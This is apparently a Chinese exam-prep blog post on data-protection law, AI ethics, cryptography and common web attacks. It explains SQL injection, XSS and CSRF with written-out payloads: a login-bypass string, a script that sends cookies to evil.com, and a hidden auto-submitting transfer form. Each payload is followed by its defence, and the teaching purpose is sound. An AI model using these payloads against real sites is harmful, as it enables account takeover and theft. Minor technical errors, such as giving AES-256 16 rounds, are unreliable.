伦理法律与信息安全

这一篇是「人工智能训练师基础」系列的收尾篇,专门把”伦理法律与信息安全”这一章拎出来细讲。这一章在大纲里属于了解即可的内容,看着不起眼,但概念特别密集、年份特别多、各种”谁管谁””哪个对哪个不对”特别容易混淆,是知识梳理的重点。讲解风格和前几篇保持一致:博客串讲,生活化类比,不用表格不用图,每个补充点都给你具体的输入输出例子,目标是”听明白、理得清”。

下面正式开始,先从数据隐私这条最容易混日期和管辖范围的主线讲起。


数据隐私与安全:日期和管辖范围是命门

数据隐私相关法律日期必须记准,以下均已通过网络查证。这块的特点很统一:要么记施行日期,要么记”某件事归哪个法管”,所以下面的内容你重点记两样——时间和管辖范围。

GDPR:欧盟的数据保护标杆

GDPR(《通用数据保护条例》)是欧盟法规,2016 年 4 月通过,2018 年 5 月 25 日正式施行。要点:适用范围广(不管企业在不在欧盟,只要处理欧盟公民个人数据就受管辖,这叫”长臂管辖”)、强调用户知情同意、违规最高罚款 2000 万欧元或全球年营业额 4%(取高者)。

光记这些还不够,GDPR 给数据主体(也就是普通用户)规定了一堆权利,常见的问题是”下列哪些属于 GDPR 规定的数据主体权利”,你得能挑出来。重点记这几条:

第一是知情权,收集你数据之前必须明确告诉你”收什么、干嘛用、收多久”,不能再悄悄摸摸地拿。

第二是访问权,你有权问企业”你到底存了我哪些数据”,企业必须如实回答。

第三是被遗忘权(Right to Erasure),也叫删除权。你可以在特定情形下要求企业把你的个人数据删掉,比如数据已经没必要再处理了、你撤回了同意、或者处理本身违法。注意这不是绝对的,企业有合法理由(比如履行法律义务、言论自由)可以拒绝。被遗忘权是 GDPR 最有名的一条,是重点知识。

第四是数据可携带权(Right to Data Portability)。你提供给企业的个人数据,你有权要回来,而且要的是”结构化、常用、机器可读”的格式,还能要求直接传给另一家企业。比如你在 A 音乐平台攒的播放列表,可以要求导出一份并传给 B 平台,这就是数据可携带权。它的目的是防止数据被平台锁死、促进竞争。

第五是反对权,你有权反对企业基于合法利益或直接营销目的处理你的数据,特别是反对画像(profiling)。

第六是限制处理权,在某些情形下(比如数据准确性有争议、处理违法但你不想删除),你可以要求企业”先别删也别用,但存着”。

第七是与自动化决策相关的权利,包括完全基于算法的自动决策和画像(比如自动评分决定能不能贷款),你有权要求人工介入、表达自己的观点。

记个口诀:”知情访问可携带,被遗忘、可反对、限制处理、自动决策要人工”。看到选项里出现”被遗忘权””数据可携带权””反对画像权”,统统勾上。

个人信息保护法:中国的数据保护主法

中国《个人信息保护法》2021 年 8 月 20 日通过,2021 年 11 月 1 日起施行。核心原则:合法、正当、必要、诚信;以”告知—同意”为核心规则;禁止”大数据杀熟”(同样的服务对不同人定不同价);处理敏感个人信息、向他人提供、跨境传输等环节要取得单独同意。

这里有个重点是”敏感个人信息”的定义和处理要求,原文没展开,咱补上。

敏感个人信息是一旦泄露或者非法使用,容易导致自然人的人格尊严受到侵害或者人身、财产安全受到危害的个人信息,具体包括七大类:生物识别(指纹、人脸、虹膜)、宗教信仰、特定身份、医疗健康、金融账户、行踪轨迹,以及不满 14 周岁未成年人的个人信息。注意,”不满 14 周岁未成年人”这个知识点要重点记,它单独列了一类,不是”儿童的医疗健康”这种组合,而是只要涉及未成年人信息就算敏感。

敏感个人信息的处理要求比一般信息严格得多:一是必须有特定的目的和充分的必要性,二是要取得单独同意(不能混在一大堆同意里让你一并勾),三是要做个人信息保护影响评估,四是要采取严格保护措施。也就是说,一般个人信息只要你点了”同意”就能处理,敏感个人信息得单独再点一次同意,并且企业要专门评估风险。

还有个常见点是”告知—同意”规则。处理个人信息原则上要告知信息主体并取得同意,例外情形包括:为订立或履行合同所必需、为履行法定职责或法定义务所必需、为应对突发公共卫生事件、为新闻报道等公共利益、在合理范围内处理自行公开或其他已合法公开的个人信息、法律法规规定的其他情形。这几条例外容易混,记住”合同必需、法定义务、公共卫生、新闻公益、已公开信息”五个例外。

三部法律对比:网络安全法、数据安全法、个人信息保护法

数据安全这块要分清三个法,这是容易混淆的重点。原文只给了日期,咱把三部法的管辖范围和定位对比讲清楚。

网络安全法,2017 年 6 月 1 日施行(注意是 6 月 1 日,不是 9 月 1 日,容易和数据安全法搞混)。它管的是网络运行安全,定位是”保障网络安全,维护网络空间主权和国家安全”。核心制度是网络安全等级保护制度(等保的法律依据就在这部法里),关键信息基础设施保护也在这部法。一句话概括:管”网络这个基础设施本身安不安全”。

数据安全法,2021 年 9 月 1 日施行。它管的是数据处理活动,定位是”规范数据处理活动,保障数据安全,促进数据开发利用”。核心制度是数据分类分级保护制度(把数据按重要程度分等级管理)、重要数据目录制度、数据安全风险评估制度。一句话概括:管”数据这个对象本身安不安全、能不能跨境”。

个人信息保护法,2021 年 11 月 1 日施行。它管的是个人信息处理活动,定位是”保护个人信息权益,规范个人信息处理活动,促进个人信息合理利用”。核心规则是”告知—同意”,强调个人对自身信息的控制权。一句话概括:管”个人信息这块涉及个人权益的数据怎么处理”。

三部法的区别用一句话锚定:网络安全法管基础设施、数据安全法管数据对象、个人信息保护法管个人信息权益。再换个角度记:网安法问”网络通不通畅、保不保护得了”、数安法问”数据分不分得清级别、能不能出境”、个保法问”个人信息有没有经过用户同意”。

三者构成我国网络数据法律体系主干,有交叉但不重复,比如一份医疗数据,传输时涉及网络安全法、存储分级时涉及数据安全法、涉及患者个人信息时还涉及个人信息保护法,三部法同时适用。

等保2.0:等级保护制度详解

网络安全等级保护(等保 2.0):核心标准是 GB/T 22239-2019《信息安全技术 网络安全等级保护基本要求》,2019 年 5 月 10 日发布,2019 年 12 月 1 日实施。等保 2.0 相比 1.0 把云计算、大数据、物联网、移动互联、工业控制纳入监管,强调”一个中心、三重防护”。不开展等级保护属于违法(依据网络安全法)。三级以上每年要做测评。

原文只说了”分五个保护等级(一级自主保护级到五级专控保护级)”,咱把五个等级的具体划分标准补上。等保的等级划分依据是”信息系统受到破坏后,对公民、法人合法权益、社会秩序、公共利益、国家安全造成的损害程度”:

第一级,自主保护级。信息系统受到破坏后,会对公民、法人和其他组织的合法权益造成损害,但不损害国家安全、社会秩序和公共利益。这一级由运营单位自主保护,不强制测评。

第二级,指导保护级。受到破坏后,会对公民、法人和其他组织的合法权益造成严重损害,或者对社会秩序和公共利益造成损害,但不损害国家安全。这一级要报公安机关备案,建议定期测评。

第三级,监督保护级。受到破坏后,会对社会秩序和公共利益造成严重损害,或者对国家安全造成损害。这一级是国家强制监督的,每年至少测评一次,是大多数涉及公共利益的重要系统的标配。

第四级,强制保护级。受到破坏后,会对社会秩序和公共利益造成特别严重损害,或者对国家安全造成严重损害。这一级强制要求每半年至少测评一次,涉及国家核心系统。

第五级,专控保护级。受到破坏后,会对国家安全造成特别严重损害。这一级由专门部门专门控制,公安网安直接管。

记口诀:”一自主、二指导、三监督、四强制、五专控”。常见的问题是”哪个等级每年至少测评一次”——答案是三级;”哪个等级每半年测评一次”——答案是四级。

再讲”一个中心、三重防护”的含义。这是等保 2.0 的核心架构思想,是重点内容。一个中心指安全管理中心,负责集中管控、统一策略下发、安全态势感知。三重防护指三个层面的安全防护:

一是安全通信网络,对应原来的网络层防护,管通信传输的加密、网络边界隔离、链路冗余等。

二是安全区域边界,对应原来的边界层防护,管网络区域划分、访问控制、入侵防范、恶意代码防范等。

三是安全计算环境,对应原来的主机和应用层防护,管服务器、终端、应用系统、数据本身的安全。

一句话记忆:”一个中心集中管,通信网络、区域边界、计算环境三层防护”。和 1.0 比,2.0 把防护对象从”信息系统”扩展到了”网络基础设施、信息系统、大数据、云计算、物联网、工控系统”,覆盖面更广。

知识产权:专利、著作权、商标权对比

知识产权这块原文给了一串期限但没对比,咱把三种主要权利的保护期限和取得方式理清楚,这是容易混的重点。

专利权保护的是技术发明,三种类型和保护期都不同:发明专利保护期 20 年,实用新型专利保护期 10 年,外观设计专利保护期 15 年,均自申请日起算。取得方式都是申请制,由国家知识产权局审查授权,发明和实用新型要经过实质审查(发明有早期公开、实质审查两阶段,实用新型只做形式审查),外观设计也只做形式审查。注意”自申请日起算”不是”自授权日起算”,这俩差好几年,容易混。

著作权保护的是文学、艺术、科学作品,取得方式是”自动产生”,也就是作品创作完成那一刻起就享有著作权,不需要登记。这是和专利最大的区别——专利要申请授权,著作权完成即取得。保护期一般是作者终生及其死亡后 50 年(自然人是终生加 50 年,法人作品是发表后 50 年)。软件著作权属于著作权的一种,登记不是取得条件但便于举证。

商标权保护的是商品或服务的标识,保护期 10 年,自核准注册之日起算。取得方式是注册制,向国家知识产权局商标局申请注册。期满可以续展,每次续展 10 年,理论上可以无限续展(只要持续使用并按时续展),这是商标和专利、著作权不同的地方——专利到期进公有领域,商标可以一直续。

记口诀:”专利要申请、著作权自动、商标要注册;发明 20 实用 10 外观 15(都自申请日)、著作权终生加 50、商标 10 年可续展”。常见的问题是”下列哪种知识产权不需要登记或注册即取得”——答案是著作权;”哪种可以无限续展”——答案是商标权。


AI伦理:让AI不偏不倚、可解释、可追责

这块虽然占比不高,但概念容易混,尤其是和信息安全混在一起的内容。

算法偏见与可解释性

算法偏见:训练数据里的偏见会被模型放大,导致对某些群体不公平。比如用一个只有男性简历的历史数据训练的招聘模型,可能系统性地给女性打低分,这不是模型有恶意,而是它”学”到了数据里的偏见。缓解办法:数据均衡采样(让各群体在数据里比例合理)、公平性约束(在损失函数里加公平性惩罚项)、去偏算法(在训练前后做去偏处理)。

可解释性:深度学习是”黑箱”,决策过程不透明,在医疗、金融、司法等高风险场景不可接受。比如一个 AI 拒绝了你的贷款申请,你得能知道为什么,否则就是”机器说了算”的黑箱。应对有可解释 AI(XAI)方向,比如 LIME(局部可解释模型,在预测点附近用一个简单线性模型近似)、SHAP(基于博弈论的 Shapley 值,给每个特征算一个贡献分)等方法。

差分隐私:加噪声保护个体

隐私保护这块原文提了差分隐私但没展开,咱补上原理和一个简单示例。

差分隐私的核心思想是在查询结果里加一点随机噪声,让攻击者无法判断”某个具体个体的数据在不在数据集里”。形式化定义是:对于任意两个只差一条记录的数据集 D 和 D’(D 里有 Alice,D’ 里没有 Alice),查询结果 M(D) 和 M(D’) 的分布非常接近。换句话说,”有 Alice 没 Alice,查询结果差不多”,所以攻击者没法从结果倒推出 Alice 在不在。

举个直观例子。假设一个公司想发布”员工平均工资”,但不想暴露任何一个具体员工的工资。不加噪声的话,如果攻击者知道全公司除 Alice 外的工资,他可以反算出 Alice 的工资(用平均值反推)。差分隐私的做法是:在计算平均值之后,加一个服从拉普拉斯分布的噪声,比如加上 ±500 元的随机扰动。

具体走一遍:假设 100 个员工,平均工资真实值是 10000 元。Alice 是其中一个员工。攻击者想知道 Alice 在不在公司。差分隐私的做法是查询时输出”10000 + 噪声”,噪声是均值为 0、尺度为敏感度/ε 的拉普拉斯随机数(ε 越小隐私越强、结果越不准)。Alice 在不在,对平均值的影响顶多是她自己的工资除以 100,比如她工资是 8000,对均值的影响是 -20 元。而噪声的尺度比 20 大得多,所以攻击者从含噪声的结果里完全分不出这 ±20 的差别,Alice 的隐私就被保护了。

一个简单的 Python 实现长这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import numpy as np

def dp_mean(data, epsilon, sensitivity):
# 真实均值
true_mean = np.mean(data)
# 加拉普拉斯噪声,scale = sensitivity / epsilon
noise = np.random.laplace(0, sensitivity / epsilon)
return true_mean + noise

# 100 个员工工资
salaries = np.array([8000, 9500, 12000, ...]) # 假设有 100 个数
# epsilon 越小隐私越强,sensitivity 是工资变化对均值的最大影响
result = dp_mean(salaries, epsilon=0.1, sensitivity=100)
print(result) # 比如输出 10042.3,下次可能输出 9987.1

关键记两点:ε(epsilon)是隐私预算,越小越隐私越不准;噪声服从拉普拉斯分布,尺度由敏感度除以 ε 决定。

联邦学习:数据不动模型动

联邦学习原文也只提了一句话,咱把基本流程和为什么能保护隐私讲清楚。

传统训练是把所有数据汇总到一个中央服务器上训练模型,问题就是数据要离开本地,隐私风险大。联邦学习反过来,”数据不动模型动”——数据留在各自的设备上,只把训练好的模型参数(梯度)汇总到中央服务器。

基本流程走一遍:第一步,中央服务器初始化一个模型,把初始模型参数下发到各个客户端(比如手机、医院)。第二步,每个客户端用自己本地的数据训练模型,算出参数更新(梯度),但只把梯度发回给中央服务器,原始数据不外传。第三步,中央服务器把各个客户端发来的梯度做加权平均,得到新的全局模型参数。第四步,把更新后的全局模型再下发到各客户端,循环到收敛。

为什么能保护隐私?因为客户端之间、客户端和服务器之间传的只是”梯度”这种参数,不是原始数据。比如医院 A 不能直接看到医院 B 的病例,但医院 A 训练的模型参数里”学”到了医院 B 的某些统计特征,这就是”知识共享、数据不共享”。

不过光联邦学习还不够安全——梯度本身也可能被反演出原始数据,所以常常和差分隐私、安全多方计算(SMPC)、同态加密组合使用,进一步加固。

记一句话:”数据不动模型动,客户端算梯度、中央聚合参数、原始数据不外传”。

其他要点

责任归属:自动驾驶出事故谁负责、AI 生成内容侵权谁担责,目前法律还在完善【需网络查询确认:国内具体 AI 责任划分细则仍在制定中】。常见的问题是”下列哪些是 AI 伦理需要解决的问题”,把责任归属、算法偏见、可解释性、隐私保护、对齐问题都勾上。

对齐问题:让 AI 目标和人类价值观对齐,避免有害输出。前面讲 RLHF 和 DPO 时提过,对齐就是把模型调成”人觉得好的回答”,防止它生成有害、误导、违规的内容。

AI 伦理原则国际上有共识的几条:公平、透明、可解释、隐私保护、安全可靠、责任可追溯、以人为本。我国发布的《新一代人工智能伦理规范》强调”增进人类福祉、促进公平公正、保护隐私安全、确保可控可信、强化责任担当、提升伦理素养”等原则【需网络查询确认:该规范由新一代人工智能治理专业委员会 2021 年发布,具体发布日期建议核对】。


信息安全与常见攻击:把原理讲明白才不会混

这块原文讲解偏简略,每个攻击只给了一句话,但要掌握原理细节和防御代码,咱一个一个讲透。

CIA三要素:安全设计的根本目标

网络安全基础:CIA 三要素——机密性(Confidentiality,防泄露)、完整性(Integrity,防篡改)、可用性(Availability,防中断)。这是安全设计的根本目标,所有安全措施都在保护这三样。原文就一句话带过,咱把每个要素的具体含义和对应的安全措施补上。

机密性(Confidentiality):保证信息只让有权限的人看到,防止泄露给未授权者。对应的安全措施包括:加密(对称加密、非对称加密)、访问控制(身份认证、权限管理)、数据脱敏、物理隔离。比如你的银行密码用哈希存储而不是明文,这就是保护机密性。

完整性(Integrity):保证信息在传输和存储过程中不被未授权地篡改,哪怕被篡改了也能被发现。对应的安全措施包括:哈希校验、数字签名、消息认证码(MAC)、校验和。比如你下载一个安装包,官方会提供哈希值,你下载后算一次哈希对一下,一致就说明没被篡改,这就是完整性保护。

可用性(Availability):保证授权用户在需要时能访问到信息和系统,防止服务被中断。对应的安全措施包括:冗余备份(3-2-1 备份原则)、负载均衡、容灾恢复、DDoS 防护、UPS 不间断电源。比如服务器被 DDoS 打瘫了用户访问不了,这就是可用性被破坏。

记口诀:”机密防偷看、完整防篡改、可用防打瘫”。看到描述里说”加密””访问控制”是机密性,”哈希””数字签名”是完整性,”备份””容灾””防 DDoS”是可用性。

密码学原理:对称、非对称、哈希

密码学原理分对称加密和非对称加密。这块原文给了一句话,咱把每个算法的应用场景和具体过程讲透。

对称加密:同一把钥匙开锁

对称加密:加密和解密用同一把密钥,快,适合大数据量。代表算法 AES(目前主流)、DES(老了,56 位密钥不安全,已淘汰)。问题是密钥怎么安全分发。

AES 是目前最主流的对称加密算法,咱把它的基本原理和应用场景补上。AES 全称 Advanced Encryption Standard,是美国国家标准与技术研究院(NIST)在 2001 年发布的,用来替代不安全的 DES。AES 是分组密码,把明文切成固定大小的块(128 位一块),然后一块一块地加密。密钥长度有 128、192、256 位三种,对应 AES-128、AES-192、AES-256,位数越多越安全但越慢。

AES 内部用的是”代换—置换网络”,对每个 128 位块做多轮操作。一轮里包括四步:字节代换(SubBytes,用一个固定的 S 盒做非线性代换)、行移位(ShiftRows,把矩阵的行循环移位)、列混淆(MixColumns,做矩阵乘法混淆数据)、轮密钥加(AddRoundKey,异或一个轮密钥)。AES-128 要做 10 轮、AES-192 做 12 轮、AES-256 做 16 轮。具体细节不用背,记住”AES 是分组密码、块大小 128 位、密钥 128/192/256 位、轮数 10/12/16”就够。

应用场景:AES 适合加密大数据量,比如硬盘加密(BitLocker、FileVault 用 AES)、HTTPS 里实际传输数据的加密(TLS 握手后用 AES 加密应用数据)、文件加密、数据库字段加密。一句话:”对称加密快、加密大数据、AES 是主力、块大小 128 位”。

Python 里用 AES 加密一段文本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64

# 密钥必须是 16/24/32 字节,对应 AES-128/192/256
key = b'thisisa16bytekey' # 16 字节密钥
cipher = AES.new(key, AES.MODE_ECB) # 简单起见用 ECB 模式

plaintext = "Hello AES Encryption"
# AES 是分组密码,明文长度要是 16 的倍数,所以要填充
padded = pad(plaintext.encode(), AES.block_size)
ciphertext = cipher.encrypt(padded)
print(base64.b64encode(ciphertext)) # 输出比如 b'...'

# 解密
cipher2 = AES.new(key, AES.MODE_ECB)
decrypted = unpad(cipher2.decrypt(ciphertext), AES.block_size)
print(decrypted.decode()) # 输出 Hello AES Encryption

注意 ECB 模式不安全(相同明文块加密后相同,泄露模式),实战用 CBC 或 GCM 模式,这里只是演示原理。

非对称加密:公钥锁私钥开

非对称加密:一对密钥(公钥加密、私钥解密,或反过来私钥签名、公钥验签),慢,适合小数据和密钥交换。代表 RSA(基于大数分解难题)、ECC(椭圆曲线)。实际中混合用:用非对称加密安全交换一个对称密钥,再用对称密钥加密实际数据(HTTPS 就是这么干的)。

RSA 是最经典的非对称加密算法,咱把加密解密和数字签名的具体过程走一遍,这是重点知识。

RSA 的基础是大数分解难题:把两个大素数 p 和 q 相乘得到 N 很容易,但反过来给定 N 找出 p 和 q 极难。RSA 的密钥生成分四步:第一步,选两个大素数 p 和 q;第二步,算 N = p × q(这就是公钥的一部分,长度就是密钥长度,比如 2048 位);第三步,算欧拉函数 φ(N) = (p-1)(q-1);第四步,选一个公钥指数 e(通常选 65537),再算私钥指数 d,使 e × d ≡ 1 (mod φ(N))。最终公钥是 (N, e),私钥是 (N, d)。

RSA 加密过程:发送方拿到接收方的公钥 (N, e),把明文 m 转成一个大整数,算密文 c = m^e mod N,发出去。接收方收到密文 c,用私钥 (N, d) 算 m = c^d mod N,还原出明文。一句话:公钥加密、私钥解密。

举个极简例子走一遍(用小数字方便理解,真实用的是几百位的大数):选 p=3、q=11,N=33,φ(N)=(3-1)(11-1)=20。选 e=3(和 20 互素),算 d 使 3d ≡ 1 (mod 20),得 d=7(因为 3×7=21≡1 mod 20)。公钥是 (33, 3),私钥是 (33, 7)。要加密明文 m=2,算 c = 2^3 mod 33 = 8。解密算 m = 8^7 mod 33 = 2097152 mod 33 = 2,还原成功。

数字签名:私钥签、公钥验

数字签名 = 用私钥对消息摘要加密,接收方用公钥验证,保证来源真实和内容完整。咱把发送方签名和接收方验签的完整步骤走一遍。

发送方签名的完整步骤:

第一步,发送方对原始消息 M 用哈希函数算出一个固定长度的摘要 h = Hash(M),比如用 SHA-256 算出 256 位的摘要。

第二步,发送方用自己的私钥 (N, d) 对这个摘要做加密运算,得到签名 s = h^d mod N。注意这里是用私钥”加密”摘要(数学上和加密是同一个运算,只是用私钥),这个 s 就是数字签名。

第三步,发送方把原始消息 M 和签名 s 一起发给接收方。

接收方验签的完整步骤:

第一步,接收方收到 M 和 s,用同样的哈希函数对 M 算摘要,得到 h1 = Hash(M)。

第二步,接收方用发送方的公钥 (N, e) 对签名 s 做运算,得到 h2 = s^e mod N,这相当于把签名解密出摘要。

第三步,比较 h1 和 h2,相等说明签名有效(消息确实来自持私钥的人,且没被篡改),不相等说明被篡改或来源造假。

为什么这样能保证来源真实和内容完整?因为只有发送方有私钥,能算出 s;如果消息被篡改,接收方算出的 h1 就变了,但 h2 是从 s 解出来的不变,所以 h1 ≠ h2,验签失败。所以验签通过就意味着”消息来自持有私钥的人”且”消息没被改过”。

一个简化版 Python 示例(还是用上面那组小数字):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 发送方:用私钥 (N=33, d=7) 签名
def sign(message_hash, N, d):
return pow(message_hash, d, N)

# 接收方:用公钥 (N=33, e=3) 验签
def verify(message_hash, signature, N, e):
decrypted = pow(signature, e, N)
return decrypted == message_hash

# 假设消息摘要(真实场景用 SHA-256 算出来的)
message_hash = 5
N, e, d = 33, 3, 7

# 发送方签名
signature = sign(message_hash, N, d)
print(signature) # 输出 5^7 mod 33 = 78125 mod 33 = 14

# 接收方验签
ok = verify(message_hash, signature, N, e)
print(ok) # 输出 True

# 如果消息被篡改,摘要变成 6
ok2 = verify(6, signature, N, e)
print(ok2) # 输出 False

记口诀:”发送方私钥签、哈希算摘要;接收方公钥验、对摘要比一比”。

哈希函数:单向不可逆的指纹

哈希函数(MD5、SHA-1、SHA-256)把任意长数据压成定长摘要,用于完整性校验,单向不可逆。

先讲为什么哈希不可逆。哈希函数本质是一个把任意长度输入映射到固定长度输出的函数,比如 SHA-256 把任意长数据压成 256 位(32 字节)的摘要。不可逆的原因有两个:一是输出空间远小于输入空间——256 位的输出最多 2^256 种,但输入是任意长度,所以一定有大量不同输入映射到同一输出(这叫碰撞),但你没法从输出反推是哪个输入;二是哈希函数是设计成”不可逆”的,比如 SHA-256 内部经过大量位运算(与、或、非、异或、循环移位)和数据混合,每一步都让输入和输出的关系变得复杂到无法反推。所以哈希只能”正向算”,不能”逆向解”。

MD5 输出 128 位摘要,应用场景包括文件完整性校验(下载文件后算 MD5 和官方给的对比)、简单密码存储(现在已经不推荐,因为存在碰撞攻击,能人为构造两个不同文件有相同 MD5)。MD5 已经不推荐用于安全场景,但日常校验还在用。

SHA-256 输出 256 位摘要,是比特币挖矿用的哈希函数(算区块头的 SHA-256 找满足难度的哈希值),也是数字签名、TLS 证书、HTTPS 握手的首选哈希。SHA-256 比 MD5 安全得多,目前没有已知实用碰撞攻击。

应用场景记口诀:”MD5 已不推荐做安全、SHA-256 是数字签名和证书的首选、密码存储用 bcrypt 而不是直接哈希”。

一个 Python 示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hashlib

# 同样的内容算出来的哈希永远一样
text = "Hello, World!"
h = hashlib.sha256(text.encode()).hexdigest()
print(h) # 输出 dffd6021bb2bd5b0af676290809ec3a53191f8...

# 哪怕改一个字符,哈希完全不同
text2 = "Hello, World?" # 感叹号变问号
h2 = hashlib.sha256(text2.encode()).hexdigest()
print(h2) # 输出完全不同的 64 位十六进制串

# 从哈希反推原文?不可能
# hashlib 没提供反函数,因为哈希单向不可逆

常见Web攻击:原理、示例和防御

常见攻击各用一句话讲清原理是不够的,咱每种攻击都给一个具体示例和防御代码。

SQL注入:输入框里塞SQL代码

SQL 注入:攻击者在输入框里塞 SQL 代码,程序没做参数化校验,把输入拼进 SQL 语句执行,导致绕过登录、拖库。防御:参数化查询、输入过滤、最小权限原则。

来一个具体的注入示例。假设有个登录页面,后端代码这么写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 危险写法:直接字符串拼接
import sqlite3

def login_vulnerable(username, password):
conn = sqlite3.connect('app.db')
cursor = conn.cursor()
sql = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"
cursor.execute(sql)
return cursor.fetchone()

# 攻击者在用户名框输入:' OR '1'='1' --
# 拼出来的 SQL 是:
# SELECT * FROM users WHERE username='' OR '1'='1' --' AND password='xxx'
# '1'='1' 永远为真,-- 后面的密码判断被注释掉,直接返回所有用户,登录绕过

注意 ' OR '1'='1' -- 这个 payload 的妙处:单引号闭合前面的字符串,OR '1'='1' 让 WHERE 永远为真,-- 把后面的 SQL 注释掉。这一套组合拳就绕过了登录。

正确的参数化查询写法:

1
2
3
4
5
6
7
8
9
10
11
# 安全写法:参数化查询,让数据库自己处理转义
def login_safe(username, password):
conn = sqlite3.connect('app.db')
cursor = conn.cursor()
sql = "SELECT * FROM users WHERE username=? AND password=?"
cursor.execute(sql, (username, password)) # 参数作为元组传入
return cursor.fetchone()

# 现在攻击者输入 ' OR '1'='1' --
# 数据库把它当成普通字符串处理,不会当成 SQL 执行
# 查询不到匹配的用户,登录失败

参数化查询的关键是让数据库区分”SQL 结构”和”数据”——SQL 语句的骨架先确定,用户输入只作为数据填进去,永远不会被当成 SQL 解析。除了参数化查询,还要遵循最小权限原则(应用连数据库的账号只给最小必需权限,别用 root)。

XSS攻击:脚本注入网页

XSS(跨站脚本):攻击者把恶意 JavaScript 注入到网页(比如评论区存一段脚本),其他用户访问时脚本在浏览器执行,可窃取 Cookie、劫持会话。防御:输出转义、CSP、HttpOnly Cookie。

来一个具体的脚本注入示例。假设一个评论区允许用户直接显示输入内容,后端没做转义:

1
2
3
4
5
6
7
8
9
# 危险写法:直接把用户输入拼到 HTML 里
def render_comment_bad(comment_text):
return f"<div class='comment'>{comment_text}</div>"

# 攻击者在评论框输入:
# <script>document.location='https://evil.com/?cookie='+document.cookie</script>
# 后端渲染出来的 HTML 是:
# <div class='comment'><script>document.location='https://evil.com/?cookie='+document.cookie</script></div>
# 其他用户访问这个页面,浏览器执行 script,把 Cookie 发到 evil.com

注意这个 payload 的妙处:<script> 标签是合法的 HTML,浏览器看到就执行,document.cookie 能读到当前域下的 Cookie(除非设了 HttpOnly),然后通过 document.location 跳转到攻击者控制的 evil.com,把 Cookie 当参数传过去。

正确的输出转义写法:

1
2
3
4
5
6
7
8
9
10
# 安全写法:输出时把 < > & " ' 等特殊字符转义成 HTML 实体
import html

def render_comment_safe(comment_text):
escaped = html.escape(comment_text) # 把 < 转成 &lt; 等
return f"<div class='comment'>{escaped}</div>"

# 现在攻击者输入同样的 <script>...</script>
# 转义后变成 &lt;script&gt;document.location=...
# 浏览器把它当成普通文本显示,不会执行

输出转义就是把 < 转成 &lt;> 转成 &gt;& 转成 &amp;" 转成 &quot;,这样浏览器把它们当文本显示不当脚本执行。补充防御:CSP(Content Security Policy,响应头里限制能加载哪些来源的脚本)、HttpOnly Cookie(设了这个标志的 JS 读不到,防 XSS 偷 Cookie)。

CSRF攻击:借登录态发请求

CSRF(跨站请求伪造):借用用户已登录身份发请求。用户登录了银行网站 A,浏览器存了 A 的 Cookie,然后访问恶意网站 B,B 里藏一个自动提交的表单指向 A 的转账接口,浏览器发请求时自动带上 A 的 Cookie,A 以为这是用户主动操作就执行了。防御靠 Token 和 Referer 校验。

来一个具体的攻击场景。用户登录了银行网站 bank.com,浏览器有 bank.com 的会话 Cookie。然后用户访问了 evil.com,evil.com 的页面里藏了这么一段:

1
2
3
4
5
6
<!-- evil.com 的恶意页面 -->
<form action="https://bank.com/transfer" method="POST" id="f">
<input type="hidden" name="to" value="attacker_account">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('f').submit();</script>

用户访问 evil.com 这一刻,JavaScript 自动提交表单到 bank.com 的转账接口。因为浏览器发请求时会自动带上 bank.com 的 Cookie(这是浏览器的同源策略例外:Cookie 不受同源策略限制),bank.com 收到请求带着有效 Cookie,以为是用户本人操作,就执行了转账。

Token 防御的实现方式:服务器在用户登录时生成一个随机 Token,存在 session 里,也塞到表单的隐藏字段里。每次表单提交服务器比对表单里的 Token 和 session 里的 Token,一致才执行。evil.com 拿不到这个 Token(同源策略禁止 evil.com 读 bank.com 的页面内容),所以伪造的表单里没有有效 Token,请求被拒。

后端示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import secrets

# 登录时生成 CSRF Token
def login(user):
token = secrets.token_hex(32)
session['csrf_token'] = token
return token # 渲染到表单隐藏字段

# 处理 POST 请求时校验 Token
def transfer(amount, to_account, form_token):
if form_token != session.get('csrf_token'):
abort(403, 'CSRF Token 校验失败')
# Token 一致才执行转账
do_transfer(amount, to_account)

补充防御:Referer 校验(服务器检查请求的 Referer 头是不是来自自己的域名)、SameSite Cookie(设 Cookie 的 SameSite 属性为 Strict 或 Lax,限制跨站请求带 Cookie)。

中间人攻击:HTTPS如何防御

中间人攻击(MITM):攻击者插在通信双方中间,伪装成双方互相通信,能窃听、篡改数据。比如你在咖啡店连免费 Wi-Fi,路由器其实是攻击者控制的,你发给银行的所有数据都被中间人看到甚至改了,你却以为在和银行直连。

HTTPS 如何防御中间人攻击?靠的是数字证书和证书颁发机构(CA)。走一遍完整过程:

第一步,服务器先向 CA 申请证书。CA 验证服务器身份后,用 CA 自己的私钥给服务器的公钥和信息签名,生成数字证书。浏览器和操作系统内置了受信任 CA 的公钥(叫根证书)。

第二步,客户端访问 HTTPS 网站时,服务器把证书发过来。客户端用内置的 CA 公钥验签这个证书——验签通过说明这个证书确实是受信任 CA 签的、没被篡改,证书里的公钥也就可信。

第三步,客户端生成一个随机的对称密钥(会话密钥),用证书里服务器的公钥加密发过去。中间人即使截获也解不开,因为他没有服务器的私钥。

第四步,之后双方用这个对称密钥加密通信。中间人篡改数据会被发现(HTTPS 有完整性校验),伪造数据也发不出(没有对称密钥)。

为什么中间人攻击在 HTTPS 下失败?因为中间人没法伪装成服务器——他没有受信任 CA 签的证书,客户端验签会失败;他也没法伪装成客户端——他解不开客户端用服务器公钥加密的会话密钥。所以 HTTPS 同时防了窃听(加密)、防了冒充(证书)、防了篡改(完整性校验)。

补充防御:证书锁定(Certificate Pinning,App 里硬编码信任某个证书,绕过系统 CA 列表)、VPN(在不可信网络上加密通信)。

DDoS攻击:海量请求打瘫服务

DDoS(分布式拒绝服务):海量请求打瘫服务,防御靠流量清洗和 CDN。原文一句话带过,咱把不同类型 DDoS 的原理讲清楚。

DDoS 的本质是耗尽目标服务的资源(带宽、连接数、CPU、内存),让正常用户访问不了。分两大类:流量型(耗带宽)和应用型(耗应用资源)。

